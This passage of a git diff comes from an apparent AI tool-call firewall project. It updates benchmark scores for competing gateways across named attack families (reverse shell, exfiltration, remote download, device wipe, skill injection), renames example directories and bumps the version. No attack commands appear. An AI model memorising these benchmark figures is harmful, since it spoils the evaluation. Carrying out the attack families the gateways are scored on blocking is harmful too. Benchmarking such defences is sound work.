on-demand Scan API, which is what this adapter drives. Every sample gets every applicable kind (tool_call + dlp on the command string + prompt_injection on skill text), deny from any = block — composition can only raise its recall. Out-of-box posture: no mcp_tool_policy rules (operator-written rules would raise recall on command-semantics families — PRs welcome). Binary allow/deny. Needs a running daemon: `pipelock run --config arena/adapters/pipelock.arena.yaml` (the Arena workflow does this; pinned v3.0.0).", "available": true, "observedDeterministic": true, - "malicious": 143, - "benign": 67, - "risky": 35, - "recallBlock": 0.06993006993006994, - "recallPrevent": 0.06993006993006994, - "precision": 0.9552238805970149, + "malicious": 165, + "benign": 82, + "risky": 44, + "recallBlock": 0.06060606060606061, + "recallPrevent": 0.06060606060606061, + "precision": 0.9634146341463414, "falsePositives": 3, "benignFriction": 0, - "underGate": 29, - "underGateRate": 0.8285714285714286, + "underGate": 38, + "underGateRate": 0.8636363636363636, "errored": 0, "latencyMedianMs": 0, - "latencyP99Ms": 3, + "latencyP99Ms": 9, "perFamilyBlockRecall": { "container-escape": 0, "destructive-fs": 0, + "destructive-win": 0, + "device-wipe": 0, "exfil": 0.4, "git-rce": 0, "injection-skill": 0.8, "obfuscation": 0, + "parser-diff": 0, "persistence-unix": 0, "persistence-win": 0, "rce-download": 0, @@ -293,28 +314,31 @@ "notes": "SAME-AXIS: a pre-execution tool-call firewall — the first arena competitor with a genuine THREE-tier verdict. Scored via its documented `POST /api/v1/check` (an open route, no key) in blocking mode, so risky HIGH/CRITICAL calls return `pending` (escalate-to-human) → mapped to gated. Read the +gate column for AEGIS: its hard recall(block) is low BY DESIGN because it escalates rather than hard-blocks. Out-of-box `standard` policy template (shell/supply-chain/prompt-injection→block, file/db→MEDIUM, network→LOW); no operator DSL rules. Fresh agent_id per sample keeps its L2 behavioral-anomaly layer in the 'learning' phase (a stateless corpus can't build a per-agent baseline), so the scored verdict is the deterministic L1-policy + classifier + L3-DSL layer. AEGIS's /check screens the ACTION, not poisoned-skill TEXT, so injection-skill samples that carry no risky argument pass. Needs the gateway on :8080 (the Arena workflow builds + starts it from pinned commit 5f012d5 / v0.2.0).", "available": true, "observedDeterministic": true, - "malicious": 143, - "benign": 67, - "risky": 35, - "recallBlock": 0.04895104895104895, - "recallPrevent": 0.5944055944055944, + "malicious": 165, + "benign": 82, + "risky": 44, + "recallBlock": 0.04242424242424243, + "recallPrevent": 0.5393939393939394, "precision": 1, "falsePositives": 0, - "benignFriction": 12, - "underGate": 20, - "underGateRate": 0.5714285714285714, + "benignFriction": 15, + "underGate": 29, + "underGateRate": 0.6590909090909091, "errored": 0, "latencyMedianMs": 1, - "latencyP99Ms": 4, + "latencyP99Ms": 5, "perFamilyBlockRecall": { "container-escape": 0.5, "destructive-fs": 0.3888888888888889, + "destructive-win": 0.14285714285714285, + "device-wipe": 0.25, "exfil": 0.7333333333333333, "git-rce": 0.25, "injection-skill": 0, "obfuscation": 1, - "persistence-unix": 1, - "persistence-win": 0.1111111111111111, + "parser-diff": 0.25, + "persistence-unix": 0.9333333333333333, + "persistence-win": 0.09090909090909091, "rce-download": 0.7727272727272727, "rce-pipe": 1, "reverse-shell": 0.7777777777777778, @@ -341,26 +365,29 @@ "notes": "SAME-AXIS: an MCP security gateway whose per-call surface is a tool-call firewall. Scored through its own inbound pipeline (kill-switch → rate-limit → injection → egress → policy → chain) in the documented `mcp-firewall init` starter posture, with the global rate-limit disabled (200-call window would deny the last ~45 of 245 on rate alone, not content). THREE-tier: deny→blocked, PROMPT→gated, allow→allowed. We read the RAW stage verdict because its SDK auto-approves prompts to allow on a non-interactive run, which would erase its human-approval tier. ESCALATE-BY-DEFAULT: the starter `defaultAction` is `prompt`, so anything not matched by injection/egress/a rule escalates to a human — expect HIGH +gate recall AND high friction (benign also escalates); read the two together. Injection detector screens prompt-injection TEXT, not shell semantics. Alpha (v0.1.0, no tagged release); pinned by commit 5f01d8b. AGPL-3.0: run as a black box via its SDK, not linked into warden. Needs `pip install git+https://github.com/ressl/mcp-firewall@5f01d8b` (the Arena workflow does this).", "available": true, "observedDeterministic": true, - "malicious": 143, - "benign": 67, - "risky": 35, - "recallBlock": 0.0979020979020979, + "malicious": 165, + "benign": 82, + "risky": 44, + "recallBlock": 0.08484848484848485, "recallPrevent": 1, - "precision": 0.9552238805970149, + "precision": 0.9634146341463414, "falsePositives": 3, - "benignFriction": 64, + "benignFriction": 79, "underGate": 0, "underGateRate": 0, "errored": 0, - "latencyMedianMs": 0.055, - "latencyP99Ms": 0.159, + "latencyMedianMs": 0.049, + "latencyP99Ms": 0.139, "perFamilyBlockRecall": { "container-escape": 1, "destructive-fs": 1, + "destructive-win": 1, + "device-wipe": 1, "exfil": 1, "git-rce": 1, "injection-skill": 1, "obfuscation": 1, + "parser-diff": 1, "persistence-unix": 1, "persistence-win": 1, "rce-download": 1, diff --git a/examples/autogen-warden/.gitignore b/examples/autogen-redstamp/.gitignore similarity index 100% rename from examples/autogen-warden/.gitignore rename to examples/autogen-redstamp/.gitignore diff --git a/examples/autogen-warden/README.md b/examples/autogen-redstamp/README.md similarity index 100% rename from examples/autogen-warden/README.md rename to examples/autogen-redstamp/README.md diff --git a/examples/autogen-warden/_plumbing_check.py b/examples/autogen-redstamp/_plumbing_check.py similarity index 100% rename from examples/autogen-warden/_plumbing_check.py rename to examples/autogen-redstamp/_plumbing_check.py diff --git a/examples/autogen-warden/autogen_governed_agent.py b/examples/autogen-redstamp/autogen_governed_agent.py similarity index 100% rename from examples/autogen-warden/autogen_governed_agent.py rename to examples/autogen-redstamp/autogen_governed_agent.py diff --git a/examples/autogen-warden/evidence/PROVENANCE.txt b/examples/autogen-redstamp/evidence/PROVENANCE.txt similarity index 100% rename from examples/autogen-warden/evidence/PROVENANCE.txt rename to examples/autogen-redstamp/evidence/PROVENANCE.txt diff --git a/examples/autogen-warden/evidence/audit.jsonl b/examples/autogen-redstamp/evidence/audit.jsonl similarity index 100% rename from examples/autogen-warden/evidence/audit.jsonl rename to examples/autogen-redstamp/evidence/audit.jsonl diff --git a/examples/autogen-warden/evidence/run.txt b/examples/autogen-redstamp/evidence/run.txt similarity index 100% rename from examples/autogen-warden/evidence/run.txt rename to examples/autogen-redstamp/evidence/run.txt diff --git a/examples/autogen-warden/evidence/verify.txt b/examples/autogen-redstamp/evidence/verify.txt similarity index 100% rename from examples/autogen-warden/evidence/verify.txt rename to examples/autogen-redstamp/evidence/verify.txt diff --git a/examples/autogen-warden/notes_mcp_server.py b/examples/autogen-redstamp/notes_mcp_server.py similarity index 100% rename from examples/autogen-warden/notes_mcp_server.py rename to examples/autogen-redstamp/notes_mcp_server.py diff --git a/examples/autogen-warden/requirements.txt b/examples/autogen-redstamp/requirements.txt similarity index 100% rename from examples/autogen-warden/requirements.txt rename to examples/autogen-redstamp/requirements.txt diff --git a/examples/autogen-warden/verify_audit.mjs b/examples/autogen-redstamp/verify_audit.mjs similarity index 96% rename from examples/autogen-warden/verify_audit.mjs rename to examples/autogen-redstamp/verify_audit.mjs index 13adc02..adbd518 100644 --- a/examples/autogen-warden/verify_audit.mjs +++ b/examples/autogen-redstamp/verify_audit.mjs @@ -4,7 +4,7 @@ // node verify_audit.mjs // // Resolves warden's audit module relative to this example's location in the -// warden repo (examples/openai-agents-warden/ -> ../../src/audit.mjs). +// warden repo (examples/autogen-redstamp/ -> ../../src/audit.mjs). import fs from 'node:fs'; import os from 'node:os'; import path from 'node:path'; diff --git a/examples/autogen-warden/warden.config.json b/examples/autogen-redstamp/warden.config.json similarity index 100% rename from examples/autogen-warden/warden.config.json rename to examples/autogen-redstamp/warden.config.json diff --git a/examples/langgraph-warden/.gitignore b/examples/langgraph-redstamp/.gitignore similarity index 100% rename from examples/langgraph-warden/.gitignore rename to examples/langgraph-redstamp/.gitignore diff --git a/examples/langgraph-warden/README.md b/examples/langgraph-redstamp/README.md similarity index 100% rename from examples/langgraph-warden/README.md rename to examples/langgraph-redstamp/README.md diff --git a/examples/langgraph-warden/_plumbing_check.mjs b/examples/langgraph-redstamp/_plumbing_check.mjs similarity index 100% rename from examples/langgraph-warden/_plumbing_check.mjs rename to examples/langgraph-redstamp/_plumbing_check.mjs diff --git a/examples/langgraph-warden/evidence/PROVENANCE.txt b/examples/langgraph-redstamp/evidence/PROVENANCE.txt similarity index 100% rename from examples/langgraph-warden/evidence/PROVENANCE.txt rename to examples/langgraph-redstamp/evidence/PROVENANCE.txt diff --git a/examples/langgraph-warden/evidence/audit.jsonl b/examples/langgraph-redstamp/evidence/audit.jsonl similarity index 100% rename from examples/langgraph-warden/evidence/audit.jsonl rename to examples/langgraph-redstamp/evidence/audit.jsonl diff --git a/examples/langgraph-warden/evidence/run.txt b/examples/langgraph-redstamp/evidence/run.txt similarity index 100% rename from examples/langgraph-warden/evidence/run.txt rename to examples/langgraph-redstamp/evidence/run.txt diff --git a/examples/langgraph-warden/evidence/verify.txt b/examples/langgraph-redstamp/evidence/verify.txt similarity index 100% rename from examples/langgraph-warden/evidence/verify.txt rename to examples/langgraph-redstamp/evidence/verify.txt diff --git a/examples/langgraph-warden/langgraph_governed_graph.mjs b/examples/langgraph-redstamp/langgraph_governed_graph.mjs similarity index 100% rename from examples/langgraph-warden/langgraph_governed_graph.mjs rename to examples/langgraph-redstamp/langgraph_governed_graph.mjs diff --git a/examples/langgraph-warden/notes_mcp_server.mjs b/examples/langgraph-redstamp/notes_mcp_server.mjs similarity index 100% rename from examples/langgraph-warden/notes_mcp_server.mjs rename to examples/langgraph-redstamp/notes_mcp_server.mjs diff --git a/examples/langgraph-warden/package.json b/examples/langgraph-redstamp/package.json similarity index 92% rename from examples/langgraph-warden/package.json rename to examples/langgraph-redstamp/package.json index 9378247..f808673 100644 --- a/examples/langgraph-warden/package.json +++ b/examples/langgraph-redstamp/package.json @@ -1,5 +1,5 @@ { - "name": "langgraph-warden-example", + "name": "langgraph-redstamp-example", "private": true, "type": "module", "description": "Govern a LangGraph.js StateGraph's MCP tool calls with warden", diff --git a/examples/langgraph-warden/verify_audit.mjs b/examples/langgraph-redstamp/verify_audit.mjs similarity index 96% rename from examples/langgraph-warden/verify_audit.mjs rename to examples/langgraph-redstamp/verify_audit.mjs index 2978d4e..1cec350 100644 --- a/examples/langgraph-warden/verify_audit.mjs +++ b/examples/langgraph-redstamp/verify_audit.mjs @@ -4,7 +4,7 @@ // node verify_audit.mjs // // Resolves warden's audit module relative to this example's location in the -// warden repo (examples/langgraph-warden/ -> ../../src/audit.mjs). +// warden repo (examples/langgraph-redstamp/ -> ../../src/audit.mjs). import fs from 'node:fs'; import os from 'node:os'; import path from 'node:path'; diff --git a/examples/openai-agents-warden/.gitignore b/examples/openai-agents-redstamp/.gitignore similarity index 100% rename from examples/openai-agents-warden/.gitignore rename to examples/openai-agents-redstamp/.gitignore diff --git a/examples/openai-agents-warden/README.md b/examples/openai-agents-redstamp/README.md similarity index 100% rename from examples/openai-agents-warden/README.md rename to examples/openai-agents-redstamp/README.md diff --git a/examples/openai-agents-warden/_plumbing_check.mjs b/examples/openai-agents-redstamp/_plumbing_check.mjs similarity index 100% rename from examples/openai-agents-warden/_plumbing_check.mjs rename to examples/openai-agents-redstamp/_plumbing_check.mjs diff --git a/examples/openai-agents-warden/agent_governed_flow.mjs b/examples/openai-agents-redstamp/agent_governed_flow.mjs similarity index 100% rename from examples/openai-agents-warden/agent_governed_flow.mjs rename to examples/openai-agents-redstamp/agent_governed_flow.mjs diff --git a/examples/openai-agents-warden/evidence/PROVENANCE.txt b/examples/openai-agents-redstamp/evidence/PROVENANCE.txt similarity index 100% rename from examples/openai-agents-warden/evidence/PROVENANCE.txt rename to examples/openai-agents-redstamp/evidence/PROVENANCE.txt diff --git a/examples/openai-agents-warden/evidence/audit.jsonl b/examples/openai-agents-redstamp/evidence/audit.jsonl similarity index 100% rename from examples/openai-agents-warden/evidence/audit.jsonl rename to examples/openai-agents-redstamp/evidence/audit.jsonl diff --git a/examples/openai-agents-warden/evidence/run.txt b/examples/openai-agents-redstamp/evidence/run.txt similarity index 100% rename from examples/openai-agents-warden/evidence/run.txt rename to examples/openai-agents-redstamp/evidence/run.txt diff --git a/examples/openai-agents-warden/evidence/verify.txt b/examples/openai-agents-redstamp/evidence/verify.txt similarity index 100% rename from examples/openai-agents-warden/evidence/verify.txt rename to examples/openai-agents-redstamp/evidence/verify.txt diff --git a/examples/openai-agents-warden/notes_mcp_server.mjs b/examples/openai-agents-redstamp/notes_mcp_server.mjs similarity index 100% rename from examples/openai-agents-warden/notes_mcp_server.mjs rename to examples/openai-agents-redstamp/notes_mcp_server.mjs diff --git a/examples/openai-agents-warden/package.json b/examples/openai-agents-redstamp/package.json similarity index 90% rename from examples/openai-agents-warden/package.json rename to examples/openai-agents-redstamp/package.json index 0816089..0a6377b 100644 --- a/examples/openai-agents-warden/package.json +++ b/examples/openai-agents-redstamp/package.json @@ -1,5 +1,5 @@ { - "name": "openai-agents-warden-example", + "name": "openai-agents-redstamp-example", "private": true, "type": "module", "description": "Govern an OpenAI Agents SDK agent's MCP tool calls with warden", diff --git a/examples/openai-agents-warden/verify_audit.mjs b/examples/openai-agents-redstamp/verify_audit.mjs similarity index 96% rename from examples/openai-agents-warden/verify_audit.mjs rename to examples/openai-agents-redstamp/verify_audit.mjs index 13adc02..2fbb371 100644 --- a/examples/openai-agents-warden/verify_audit.mjs +++ b/examples/openai-agents-redstamp/verify_audit.mjs @@ -4,7 +4,7 @@ // node verify_audit.mjs // // Resolves warden's audit module relative to this example's location in the -// warden repo (examples/openai-agents-warden/ -> ../../src/audit.mjs). +// warden repo (examples/openai-agents-redstamp/ -> ../../src/audit.mjs). import fs from 'node:fs'; import os from 'node:os'; import path from 'node:path'; diff --git a/examples/openai-agents-warden/warden.config.json b/examples/openai-agents-redstamp/warden.config.json similarity index 100% rename from examples/openai-agents-warden/warden.config.json rename to examples/openai-agents-redstamp/warden.config.json diff --git a/package-lock.json b/package-lock.json index 471724b..72841dc 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "@askalf/redstamp", - "version": "0.7.2", + "version": "0.7.3", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "@askalf/redstamp", - "version": "0.7.2", + "version": "0.7.3", "license": "MIT", "bin": { "redstamp": "src/cli.mjs", diff --git a/src/daemon-cli.mjs b/src/daemon-cli.mjs index 28e0851..005b9cd 100644 --- a/src/daemon-cli.mjs +++ b/src/daemon-cli.mjs @@ -19,7 +19,7 @@ const auditPath = process.env.WARDEN_AUDIT || path.join(HOME, '.warden', 'audit. const judge = process.env.WARDEN_JUDGE_ENDPOINT ? makeJudge({ endpoint: process.env.WARDEN_JUDGE_ENDPOINT, - model: process.env.WARDEN_JUDGE_MODEL || 'claude-sonnet-4-6', + model: process.env.WARDEN_JUDGE_MODEL || 'claude-sonnet-5', apiKey: process.env.WARDEN_JUDGE_KEY || process.env.ANTHROPIC_API_KEY, }) : null;